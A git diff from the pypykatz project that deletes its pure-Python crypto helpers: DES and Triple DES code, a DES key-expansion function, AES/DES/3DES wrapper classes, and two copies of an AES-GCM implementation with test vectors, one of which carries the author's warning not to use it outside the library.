-			#		B.append(self.R[j-6:j])
-
-			# Permutate B[1] to B[8] using the S-Boxes
-			j = 0
-			Bn = [0] * 32
-			pos = 0
-			while j < 8:
-				# Work out the offsets
-				m = (B[j][0] << 1) + B[j][5]
-				n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
-
-				# Find the permutation value
-				v = des.__sbox[j][(m << 4) + n]
-
-				# Turn value into bits, add it to result: Bn
-				Bn[pos] = (v & 8) >> 3
-				Bn[pos + 1] = (v & 4) >> 2
-				Bn[pos + 2] = (v & 2) >> 1
-				Bn[pos + 3] = v & 1
-
-				pos += 4
-				j += 1
-
-			# Permutate the concatination of B[1] to B[8] (Bn)
-			self.R = self.__permutate(des.__p, Bn)
-
-			# Xor with L[i - 1]
-			self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
-			# Optimization: This now replaces the below commented code
-			#j = 0
-			#while j < len(self.R):
-			#	self.R[j] = self.R[j] ^ self.L[j]
-			#	j += 1
-
-			# L[i] becomes R[i - 1]
-			self.L = tempR
-
-			i += 1
-			iteration += iteration_adjustment
-		
-		# Final permutation of R[16]L[16]
-		self.final = self.__permutate(des.__fp, self.R + self.L)
-		return self.final
-
-
-	# Data to be encrypted/decrypted
-	def crypt(self, data, crypt_type):
-		"""Crypt the data in blocks, running it through des_crypt()"""
-
-		# Error check the data
-		if not data:
-			return ''
-		if len(data) % self.block_size != 0:
-			if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
-				raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
-			if not self.getPadding():
-				raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
-			else:
-				data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
-			# print "Len of data: %f" % (len(data) / self.block_size)
-
-		if self.getMode() == CBC:
-			if self.getIV():
-				iv = self.__String_to_BitList(self.getIV())
-			else:
-				raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
-
-		# Split the data into blocks, crypting each one seperately
-		i = 0
-		dict = {}
-		result = []
-		#cached = 0
-		#lines = 0
-		while i < len(data):
-			# Test code for caching encryption results
-			#lines += 1
-			#if dict.has_key(data[i:i+8]):
-				#print "Cached result for: %s" % data[i:i+8]
-			#	cached += 1
-			#	result.append(dict[data[i:i+8]])
-			#	i += 8
-			#	continue
-				
-			block = self.__String_to_BitList(data[i:i+8])
-
-			# Xor with IV if using CBC mode
-			if self.getMode() == CBC:
-				if crypt_type == des.ENCRYPT:
-					block = list(map(lambda x, y: x ^ y, block, iv))
-					#j = 0
-					#while j < len(block):
-					#	block[j] = block[j] ^ iv[j]
-					#	j += 1
-
-				processed_block = self.__des_crypt(block, crypt_type)
-
-				if crypt_type == des.DECRYPT:
-					processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
-					#j = 0
-					#while j < len(processed_block):
-					#	processed_block[j] = processed_block[j] ^ iv[j]
-					#	j += 1
-					iv = block
-				else:
-					iv = processed_block
-			else:
-				processed_block = self.__des_crypt(block, crypt_type)
-
-
-			# Add the resulting crypted block to our list
-			#d = self.__BitList_to_String(processed_block)
-			#result.append(d)
-			result.append(self.__BitList_to_String(processed_block))
-			#dict[data[i:i+8]] = d
-			i += 8
-
-		# print "Lines: %d, cached: %d" % (lines, cached)
-
-		# Return the full crypted string
-		if _pythonMajorVersion < 3:
-			return ''.join(result)
-		else:
-			return bytes.fromhex('').join(result)
-
-	def encrypt(self, data, pad=None, padmode=None):
-		"""encrypt(data, [pad], [padmode]) -> bytes
-
-		data : Bytes to be encrypted
-		pad  : Optional argument for encryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be encrypted
-		with the already specified key. Data does not have to be a
-		multiple of 8 bytes if the padding character is supplied, or
-		the padmode is set to PAD_PKCS5, as bytes will then added to
-		ensure the be padded data is a multiple of 8 bytes.
-		"""
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		data = self._padData(data, pad, padmode)
-		return self.crypt(data, des.ENCRYPT)
-
-	def decrypt(self, data, pad=None, padmode=None):
-		"""decrypt(data, [pad], [padmode]) -> bytes
-
-		data : Bytes to be decrypted
-		pad  : Optional argument for decryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be decrypted
-		with the already specified key. In PAD_NORMAL mode, if the
-		optional padding character is supplied, then the un-encrypted
-		data will have the padding characters removed from the end of
-		the bytes. This pad removal only occurs on the last 8 bytes of
-		the data (last data block). In PAD_PKCS5 mode, the special
-		padding end markers will be removed from the data after decrypting.
-		"""
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		data = self.crypt(data, des.DECRYPT)
-		return self._unpadData(data, pad, padmode)
-
-
-
-#############################################################################
-# 				Triple DES				    #
-#############################################################################
-class triple_des(_baseDes):
-	"""Triple DES encryption/decrytpion class
-
-	This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
-	the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
-	Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
-
-	pyDes.des(key, [mode], [IV])
-
-	key  -> Bytes containing the encryption key, must be either 16 or
-	        24 bytes long
-	mode -> Optional argument for encryption type, can be either pyDes.ECB
-		(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
-	IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
-		Must be 8 bytes in length.
-	pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
-		during all encrypt/decrypt operations done with this instance.
-	padmode -> Optional argument, set the padding mode (PAD_NORMAL or
-		PAD_PKCS5) to use during all encrypt/decrypt operations done
-		with this instance.
-	"""
-	def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
-		_baseDes.__init__(self, mode, IV, pad, padmode)
-		self.setKey(key)
-
-	def setKey(self, key):
-		"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
-		self.key_size = 24  # Use DES-EDE3 mode
-		if len(key) != self.key_size:
-			if len(key) == 16: # Use DES-EDE2 mode
-				self.key_size = 16
-			else:
-				raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
-		if self.getMode() == CBC:
-			if not self.getIV():
-				# Use the first 8 bytes of the key
-				self._iv = key[:self.block_size]
-			if len(self.getIV()) != self.block_size:
-				raise ValueError("Invalid IV, must be 8 bytes in length")
-		self.__key1 = des(key[:8], self._mode, self._iv,
-				  self._padding, self._padmode)
-		self.__key2 = des(key[8:16], self._mode, self._iv,
-				  self._padding, self._padmode)
-		if self.key_size == 16:
-			self.__key3 = self.__key1
-		else:
-			self.__key3 = des(key[16:], self._mode, self._iv,
-					  self._padding, self._padmode)
-		_baseDes.setKey(self, key)
-
-	# Override setter methods to work on all 3 keys.
-
-	def setMode(self, mode):
-		"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
-		_baseDes.setMode(self, mode)
-		for key in (self.__key1, self.__key2, self.__key3):
-			key.setMode(mode)
-
-	def setPadding(self, pad):
-		"""setPadding() -> bytes of length 1. Padding character."""
-		_baseDes.setPadding(self, pad)
-		for key in (self.__key1, self.__key2, self.__key3):
-			key.setPadding(pad)
-
-	def setPadMode(self, mode):
-		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
-		_baseDes.setPadMode(self, mode)
-		for key in (self.__key1, self.__key2, self.__key3):
-			key.setPadMode(mode)
-
-	def setIV(self, IV):
-		"""Will set the Initial Value, used in conjunction with CBC mode"""
-		_baseDes.setIV(self, IV)
-		for key in (self.__key1, self.__key2, self.__key3):
-			key.setIV(IV)
-
-	def encrypt(self, data, pad=None, padmode=None):
-		"""encrypt(data, [pad], [padmode]) -> bytes
-
-		data : bytes to be encrypted
-		pad  : Optional argument for encryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be encrypted
-		with the already specified key. Data does not have to be a
-		multiple of 8 bytes if the padding character is supplied, or
-		the padmode is set to PAD_PKCS5, as bytes will then added to
-		ensure the be padded data is a multiple of 8 bytes.
-		"""
-		ENCRYPT = des.ENCRYPT
-		DECRYPT = des.DECRYPT
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		# Pad the data accordingly.
-		data = self._padData(data, pad, padmode)
-		if self.getMode() == CBC:
-			self.__key1.setIV(self.getIV())
-			self.__key2.setIV(self.getIV())
-			self.__key3.setIV(self.getIV())
-			i = 0
-			result = []
-			while i < len(data):
-				block = self.__key1.crypt(data[i:i+8], ENCRYPT)
-				block = self.__key2.crypt(block, DECRYPT)
-				block = self.__key3.crypt(block, ENCRYPT)
-				self.__key1.setIV(block)
-				self.__key2.setIV(block)
-				self.__key3.setIV(block)
-				result.append(block)
-				i += 8
-			if _pythonMajorVersion < 3:
-				return ''.join(result)
-			else:
-				return bytes.fromhex('').join(result)
-		else:
-			data = self.__key1.crypt(data, ENCRYPT)
-			data = self.__key2.crypt(data, DECRYPT)
-			return self.__key3.crypt(data, ENCRYPT)
-
-	def decrypt(self, data, pad=None, padmode=None):
-		"""decrypt(data, [pad], [padmode]) -> bytes
-
-		data : bytes to be encrypted
-		pad  : Optional argument for decryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be decrypted
-		with the already specified key. In PAD_NORMAL mode, if the
-		optional padding character is supplied, then the un-encrypted
-		data will have the padding characters removed from the end of
-		the bytes. This pad removal only occurs on the last 8 bytes of
-		the data (last data block). In PAD_PKCS5 mode, the special
-		padding end markers will be removed from the data after
-		decrypting, no pad character is required for PAD_PKCS5.
-		"""
-		ENCRYPT = des.ENCRYPT
-		DECRYPT = des.DECRYPT
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		if self.getMode() == CBC:
-			self.__key1.setIV(self.getIV())
-			self.__key2.setIV(self.getIV())
-			self.__key3.setIV(self.getIV())
-			i = 0
-			result = []
-			while i < len(data):
-				iv = data[i:i+8]
-				block = self.__key3.crypt(iv,    DECRYPT)
-				block = self.__key2.crypt(block, ENCRYPT)
-				block = self.__key1.crypt(block, DECRYPT)
-				self.__key1.setIV(iv)
-				self.__key2.setIV(iv)
-				self.__key3.setIV(iv)
-				result.append(block)
-				i += 8
-			if _pythonMajorVersion < 3:
-				data = ''.join(result)
-			else:
-				data = bytes.fromhex('').join(result)
-		else:
-			data = self.__key3.crypt(data, DECRYPT)
-			data = self.__key2.crypt(data, ENCRYPT)
-			data = self.__key1.crypt(data, DECRYPT)
-		return self._unpadData(data, pad, padmode)
-
-# from impacket
-def expand_DES_key(key):
-	# Expand the key from a 7-byte password key into a 8-byte DES key
-	key  = key[:7]
-	key += b'\x00'*(7-len(key))
-	s  = (((key[0] >> 1) & 0x7f) << 1).to_bytes(1, byteorder = 'big')
-	s += (((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1).to_bytes(1, byteorder = 'big')
-	s += (((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1).to_bytes(1, byteorder = 'big')
-	s += (((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1).to_bytes(1, byteorder = 'big')
-	s += (((key[3] & 0x0f) << 3 | ((key[4] >> 5) & 0x07)) << 1).to_bytes(1, byteorder = 'big')
-	s += (((key[4] & 0x1f) << 2 | ((key[5] >> 6) & 0x03)) << 1).to_bytes(1, byteorder = 'big')
-	s += (((key[5] & 0x3f) << 1 | ((key[6] >> 7) & 0x01)) << 1).to_bytes(1, byteorder = 'big')
-	s += ( (key[6] & 0x7f) << 1).to_bytes(1, byteorder = 'big')
-	return s
diff --git a/pypykatz/crypto/unified/aes.py b/pypykatz/crypto/unified/aes.py
deleted file mode 100644
index 8f4e242..0000000
--- a/pypykatz/crypto/unified/aes.py
+++ /dev/null
@@ -1,42 +0,0 @@
-#!/usr/bin/env python3
-#
-# Author:
-#  Tamas Jos (@skelsec)
-#
-
-from pypykatz.crypto.aes import AESModeOfOperationCBC, AESModeOfOperationECB
-from pypykatz.crypto.unified.common import SYMMETRIC_MODE
-	
-
-class AES:
-	def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
-		self.key = key
-		self.mode = mode
-		self.iv = iv
-		self.block_size = 16
-		self.ctx = None
-		self.setup()
-		
-	def setup(self):
-		if self.mode == SYMMETRIC_MODE.ECB:
-			self.ctx = AESModeOfOperationECB(self.key)
-		elif self.mode == SYMMETRIC_MODE.CBC:
-			self.ctx = AESModeOfOperationCBC(self.key, iv = self.iv)
-		else:
-			raise Exception('Unknown mode!')
-		
-	def encrypt(self, data):
-		if len(data) % self.block_size != 0:
-			raise Exception('Data size not matching blocksize!')
-		res = b''
-		for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]:  #terrible, terrible workaround
-			res += self.ctx.encrypt(block)
-		return res
-	
-	def decrypt(self, data):
-		if len(data) % self.block_size != 0:
-			raise Exception('Data size not matching blocksize!')
-		res = b''
-		for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]:  #terrible, terrible workaround
-			res += self.ctx.decrypt(block)
-		return res
\ No newline at end of file
diff --git a/pypykatz/crypto/unified/aesgcm.py b/pypykatz/crypto/unified/aesgcm.py
deleted file mode 100644
index 55b2754..0000000
--- a/pypykatz/crypto/unified/aesgcm.py
+++ /dev/null
@@ -1,231 +0,0 @@
-#!/usr/bin/env python
-
-"""
-	Copyright (C) 2013 Bo Zhu http://about.bozhu.me
-
-	Permission is hereby granted, free of charge, to any person obtaining a
-	copy of this software and associated documentation files (the "Software"),
-	to deal in the Software without restriction, including without limitation
-	the rights to use, copy, modify, merge, publish, distribute, sublicense,
-	and/or sell copies of the Software, and to permit persons to whom the
-	Software is furnished to do so, subject to the following conditions:
-
-	The above copyright notice and this permission notice shall be included in
-	all copies or substantial portions of the Software.
-
-	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-	FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-	THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-	FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-	DEALINGS IN THE SOFTWARE.
-
-	SkelSec Note: the original code has been modified to work using questionable crypto libraries by myself who is not a cryptographer.
-	              I'd say "use it with suspicion" but in truth: just do not use this at all outside of this library.
-"""
-
-from pypykatz.crypto.aes import AESModeOfOperationCTR, AESModeOfOperationECB, Counter
-from pypykatz.crypto.aes.blockfeeder import Decrypter, Encrypter, PADDING_NONE
-
-
-# GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
-# Please note the MSB is x0 and LSB is x127
-def gf_2_128_mul(x, y):
-	assert x < (1 << 128)
-	assert y < (1 << 128)
-	res = 0
-	for i in range(127, -1, -1):
-		res ^= x * ((y >> i) & 1)  # branchless
-		x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
-	assert res < 1 << 128
-	return res
-
-
-class InvalidInputException(Exception):
-	def __init__(self, msg):
-		self.msg = msg
-
-	def __str__(self):
-		return str(self.msg)
-
-
-class InvalidTagException(Exception):
-	def __str__(self):
-		return 'The authenticaiton tag is invalid.'
-
-
-# Galois/Counter Mode with AES-128 and 96-bit IV
-class AES_GCM:
-	def __init__(self, master_key):
-		self.change_key(master_key)
-
-	def change_key(self, master_key):
-		#if len(master_key) != 16:
-		#	raise InvalidInputException('Master key should be 128-bit')
-
-		self.__master_key = master_key
-		self.__aes_ecb = AESModeOfOperationECB(self.__master_key)
-		self.__auth_key = int.from_bytes(self.__aes_ecb.encrypt(b'\x00' * 16), byteorder='big', signed=False)
-
-		# precompute the table for multiplication in finite field
-		table = []  # for 8-bit
-		for i in range(16):
-			row = []
-			for j in range(256):
-				row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
-			table.append(tuple(row))
-		self.__pre_table = tuple(table)
-
-		self.prev_init_value = None  # reset
-
-	def __times_auth_key(self, val):
-		res = 0
-		for i in range(16):
-			res ^= self.__pre_table[i][val & 0xFF]
-			val >>= 8
-		return res
-
-	def __ghash(self, aad, txt):
-		len_aad = len(aad)
-		len_txt = len(txt)
-
-		# padding
-		if 0 == len_aad % 16:
-			data = aad
-		else:
-			data = aad + b'\x00' * (16 - len_aad % 16)
-		if 0 == len_txt % 16:
-			data += txt
-		else:
-			data += txt + b'\x00' * (16 - len_txt % 16)
-
-		tag = 0
-		assert len(data) % 16 == 0
-		for i in range(len(data) // 16):
-			tag ^= int.from_bytes(data[i * 16: (i + 1) * 16], byteorder='big', signed=False)
-			tag = self.__times_auth_key(tag)
-			# print 'X\t', hex(tag)
-		tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
-		tag = self.__times_auth_key(tag)
-
-		return tag
-
-	def encrypt(self, init_value, plaintext, auth_data=b''):
-		if len(init_value) != 12:
-			raise InvalidInputException('IV should be 96-bit')
-		# a naive checking for IV reuse
-		if init_value == self.prev_init_value:
-			raise InvalidInputException('IV must not be reused!')
-		self.prev_init_value = init_value
-
-		len_plaintext = len(plaintext)
-
-		if len_plaintext > 0:
-			ctrval_init = init_value + b'\x00'*4
-			ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
-			counter = Counter(initial_value=ctrval+2) #+2 ????
-			aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
-
-			if 0 != len_plaintext % 16:
-				padded_plaintext = plaintext + \
-					b'\x00' * (16 - len_plaintext % 16)
-			else:
-				padded_plaintext = plaintext
-			ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
-
-		else:
-			ciphertext = b''
-
-		auth_tag = self.__ghash(auth_data, ciphertext)
-		iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
-		iv_int = (iv_int << 32) | 1
-		iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
-		iv_int_enc = self.__aes_ecb.encrypt(iv_int)
-		iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
-
-		auth_tag ^= iv_int_enc
-
-		assert auth_tag < (1 << 128)
-		return ciphertext, auth_tag.to_bytes(16, byteorder='big', signed=False)
-
-	def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
-		if len(init_value) != 12:
-			raise InvalidInputException('IV should be 96-bit')
-		if len(auth_tag) != 16:
-			raise InvalidInputException('Tag should be 128-bit')
-
-		iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
-		iv_int = (iv_int << 32) | 1
-		iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
-		iv_int_enc = self.__aes_ecb.encrypt(iv_int)
-		iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
-		auth_tag_verify = self.__ghash(auth_data, ciphertext) ^ iv_int_enc
-		auth_tag_verify = auth_tag_verify.to_bytes(16, byteorder='big', signed=False)
-		if auth_tag != auth_tag_verify:
-			raise InvalidTagException
-
-		len_ciphertext = len(ciphertext)
-		if len_ciphertext > 0:
-			ctrval_init = init_value + b'\x00'*4
-			ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
-			counter = Counter(initial_value=ctrval+2) #+2 ????
-			aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
-
-			if 0 != len_ciphertext % 16:
-				padded_ciphertext = ciphertext + \
-					b'\x00' * (16 - len_ciphertext % 16)
-			else:
-				padded_ciphertext = ciphertext
-			plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
-
-		else:
-			plaintext = b''
-
-		return plaintext
-
-
-if __name__ == '__main__':
-	master_key = bytes.fromhex('feffe9928665731c6d6a8f9467308308')
-	plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
-				b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
-				b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
-				b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
-				b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
-				b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
-				b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
-				b'\xba\x63\x7b\x39'
-	auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
-				b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
-				b'\xab\xad\xda\xd2'
-	init_value = bytes.fromhex('cafebabefacedbaddecaf888')
-	ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
-				 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
-				 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
-				 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
-				 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
-				 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
-				 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
-				 b'\x3d\x58\xe0\x91'
-	auth_tag = bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
-
-	print('plaintext:', plaintext.hex())
-
-	my_gcm = AES_GCM(master_key)
-	encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
-	print('encrypted:', encrypted.hex())
-	print('auth tag: ', new_tag.hex())
-
-	assert encrypted == bytes.fromhex('42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091')
-	assert new_tag == bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47')
-	
-	decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
-	print('decrypted:', decrypted.hex())
-
-
-	#new_tag = int.from_bytes(new_tag, byteorder='big', signed=False)
-	#try:
-	#	decrypted = my_gcm.decrypt(init_value, encrypted, new_tag + 1, auth_data)
-	#except InvalidTagException:
-		
-
diff --git a/pypykatz/crypto/unified/common.py b/pypykatz/crypto/unified/common.py
deleted file mode 100644
index 465bb68..0000000
--- a/pypykatz/crypto/unified/common.py
+++ /dev/null
@@ -1,11 +0,0 @@
-#!/usr/bin/env python3
-#
-# Author:
-#  Tamas Jos (@skelsec)
-#
-
-import enum
-
-class SYMMETRIC_MODE(enum.Enum):
-	ECB = 0
-	CBC = 1
\ No newline at end of file
diff --git a/pypykatz/crypto/unified/des.py b/pypykatz/crypto/unified/des.py
deleted file mode 100644
index 8d03c87..0000000
--- a/pypykatz/crypto/unified/des.py
+++ /dev/null
@@ -1,35 +0,0 @@
-#!/usr/bin/env python3
-#
-# Author:
-#  Tamas Jos (@skelsec)
-#
-
-from pypykatz.crypto.des import des, ECB, CBC, expand_DES_key
-from pypykatz.crypto.unified.common import SYMMETRIC_MODE
-	
-
-class DES:
-	def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
-		self.key = key
-		self.mode = mode
-		self.iv = iv
-		self.block_size = 8
-		self.ctx = None
-		self.setup()
-		
-	def setup(self):
-		if len(self.key) == 7:
-			self.key = expand_DES_key(self.key)
-			
-		if self.mode == SYMMETRIC_MODE.ECB:
-			self.ctx = des(self.key, mode = ECB)
-		elif self.mode == SYMMETRIC_MODE.CBC:
-			self.ctx = des(self.key, mode = CBC, IV = self.iv)
-		else:
-			raise Exception('Unknown mode!')
-		
-	def encrypt(self, data):
-		return self.ctx.encrypt(data)
-	
-	def decrypt(self, data):
-		return self.ctx.decrypt(data)
\ No newline at end of file
diff --git a/pypykatz/crypto/unified/des3.py b/pypykatz/crypto/unified/des3.py
deleted file mode 100644
index 5be9b98..0000000
--- a/pypykatz/crypto/unified/des3.py
+++ /dev/null
@@ -1,32 +0,0 @@
-#!/usr/bin/env python3
-#
-# Author:
-#  Tamas Jos (@skelsec)
-#
-
-from pypykatz.crypto.des import triple_des, ECB, CBC
-from pypykatz.crypto.unified.common import SYMMETRIC_MODE
-	
-
-class DES3:
-	def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
-		self.key = key
-		self.mode = mode
-		self.iv = iv
-		self.block_size = 8
-		self.ctx = None
-		self.setup()
-		
-	def setup(self):
-		if self.mode == SYMMETRIC_MODE.ECB:
-			self.ctx = triple_des(self.key, mode = ECB)
-		elif self.mode == SYMMETRIC_MODE.CBC:
-			self.ctx = triple_des(self.key, mode = CBC, IV = self.iv)
-		else:
-			raise Exception('Unknown mode!')
-		
-	def encrypt(self, data):
-		return self.ctx.encrypt(data)
-	
-	def decrypt(self, data):
-		return self.ctx.decrypt(data)
\ No newline at end of file
diff --git a/pypykatz/crypto/unified/gcmtest.py b/pypykatz/crypto/unified/gcmtest.py
deleted file mode 100644
index ca4340f..0000000
--- a/pypykatz/crypto/unified/gcmtest.py
+++ /dev/null
@@ -1,225 +0,0 @@
-#!/usr/bin/env python
-
-"""
-    Copyright (C) 2013 Bo Zhu http://about.bozhu.me
-
-    Permission is hereby granted, free of charge, to any person obtaining a
-    copy of this software and associated documentation files (the "Software"),
-    to deal in the Software without restriction, including without limitation
-    the rights to use, copy, modify, merge, publish, distribute, sublicense,
-    and/or sell copies of the Software, and to permit persons to whom the
-    Software is furnished to do so, subject to the following conditions:
-
-    The above copyright notice and this permission notice shall be included in
-    all copies or substantial portions of the Software.
-
-    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-    DEALINGS IN THE SOFTWARE.
-"""
-
-from Crypto.Cipher import AES
-from Crypto.Util import Counter
-from Crypto.Util.number import long_to_bytes, bytes_to_long
-
-
-# GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
-# Please note the MSB is x0 and LSB is x127
-def gf_2_128_mul(x, y):
-    assert x < (1 << 128)
-    assert y < (1 << 128)
-    res = 0
-    for i in range(127, -1, -1):
-        res ^= x * ((y >> i) & 1)  # branchless
-        x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
-    assert res < 1 << 128
-    return res
-
-
-class InvalidInputException(Exception):
-    def __init__(self, msg):
-        self.msg = msg
-
-    def __str__(self):
-        return str(self.msg)
-
-
-class InvalidTagException(Exception):
-    def __str__(self):
-        return 'The authenticaiton tag is invalid.'
-
-
-# Galois/Counter Mode with AES-128 and 96-bit IV
-class AES_GCM:
-    def __init__(self, master_key):
-        self.change_key(master_key)
-
-    def change_key(self, master_key):
-        if master_key >= (1 << 128):
-            raise InvalidInputException('Master key should be 128-bit')
-
-        self.__master_key = long_to_bytes(master_key, 16)
-        self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB)
-        self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16))
-
-        # precompute the table for multiplication in finite field
-        table = []  # for 8-bit
-        for i in range(16):
-            row = []
-            for j in range(256):
-                row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
-            table.append(tuple(row))
-        self.__pre_table = tuple(table)
-
-        self.prev_init_value = None  # reset
-
-    def __times_auth_key(self, val):
-        res = 0
-        for i in range(16):
-            res ^= self.__pre_table[i][val & 0xFF]
-            val >>= 8
-        return res
-
-    def __ghash(self, aad, txt):
-        len_aad = len(aad)
-        len_txt = len(txt)
-
-        # padding
-        if 0 == len_aad % 16:
-            data = aad
-        else:
-            data = aad + b'\x00' * (16 - len_aad % 16)
-        if 0 == len_txt % 16:
-            data += txt
-        else:
-            data += txt + b'\x00' * (16 - len_txt % 16)
-
-        tag = 0
-        assert len(data) % 16 == 0
-        for i in range(len(data) // 16):
-            tag ^= bytes_to_long(data[i * 16: (i + 1) * 16])
-            tag = self.__times_auth_key(tag)
-            # print 'X\t', hex(tag)
-        tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
-        tag = self.__times_auth_key(tag)
-
-        return tag
-
-    def encrypt(self, init_value, plaintext, auth_data=b''):
-        if init_value >= (1 << 96):
-            raise InvalidInputException('IV should be 96-bit')
-        # a naive checking for IV reuse
-        if init_value == self.prev_init_value:
-            raise InvalidInputException('IV must not be reused!')
-        self.prev_init_value = init_value
-
-        len_plaintext = len(plaintext)
-        # len_auth_data = len(auth_data)
-
-        if len_plaintext > 0:
-            counter = Counter.new(
-                nbits=32,
-                prefix=long_to_bytes(init_value, 12),
-                initial_value=2,  # notice this
-                allow_wraparound=False)
-            aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
-
-            if 0 != len_plaintext % 16:
-                padded_plaintext = plaintext + \
-                    b'\x00' * (16 - len_plaintext % 16)
-            else:
-                padded_plaintext = plaintext
-            ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
-
-        else:
-            ciphertext = b''
-
-        auth_tag = self.__ghash(auth_data, ciphertext)
